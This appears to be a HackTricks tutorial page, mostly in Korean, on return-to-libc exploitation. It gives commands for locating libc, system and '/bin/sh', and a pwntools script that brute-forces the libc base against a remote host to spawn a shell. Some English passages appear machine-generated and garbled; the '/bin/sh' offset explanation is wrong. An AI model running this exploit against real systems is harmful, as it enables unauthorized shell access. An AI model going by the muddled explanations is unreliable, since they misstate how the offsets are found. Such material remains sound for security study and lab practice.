5.7 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
취약한 이진 파일을 찾았고 Ret2Lib을 사용하여 공격할 수 있다고 생각한다면, 다음은 따를 수 있는 몇 가지 기본 단계입니다.
호스트 내부에 있다면
libc의 주소를 찾을 수 있습니다.
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLR가 libc의 주소를 변경하는지 확인하려면 다음을 수행할 수 있습니다:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
시스템 함수의 오프셋 얻기
To exploit a binary using a return-to-libc attack, we need to know the offset of the system
function in the target system's libc library. This offset will help us determine the address of the system
function in memory.
To find the offset, we can use the nm
command to list the symbols in the libc library and search for the system
function. The offset will be the difference between the address of the system
function and the base address of the libc library.
Here's an example command to find the offset:
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
This command will list all the symbols in the libc library and filter for the system
function. The output will include the address of the system
function, which we can use to calculate the offset.
Once we have the offset, we can use it in our exploit to calculate the address of the system
function dynamically, without relying on hardcoded addresses.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
"/bin/sh"의 오프셋 얻기
To get the offset of "/bin/sh" in the binary, we can use the following steps:
- Find a vulnerable function or a buffer overflow vulnerability in the binary.
- Craft a payload that overflows the buffer and overwrites the return address.
- Use a debugger or a tool like GDB to determine the exact offset at which the return address is overwritten.
- Calculate the offset of "/bin/sh" by subtracting the known address of the buffer from the address of "/bin/sh" in memory.
By following these steps, you can obtain the offset of "/bin/sh" and use it in your exploit.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
만약 프로세스가 매번 대화할 때마다 자식 프로세스를 생성한다면 (네트워크 서버인 경우), 이 파일을 읽어보세요 (아마도 root 권한이 필요할 것입니다).
여기에서 프로세스 내부에 libc가 정확히 어디에 로드되어 있는지와 프로세스의 모든 자식들이 로드될 위치를 찾을 수 있습니다.
이 경우에는 0xb75dc000에 로드되어 있습니다 (이것이 libc의 기본 주소가 될 것입니다).
gdb-peda 사용하기
gdb-peda를 사용하여 system 함수, exit 함수 및 "/bin/sh" 문자열의 주소를 얻으세요:
p system
p exit
find "/bin/sh"
ASLR 우회하기
libc의 기저 주소를 무차별 대입(bruteforce)하여 시도할 수 있습니다.
for off in range(0xb7000000, 0xb8000000, 0x1000):
코드
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.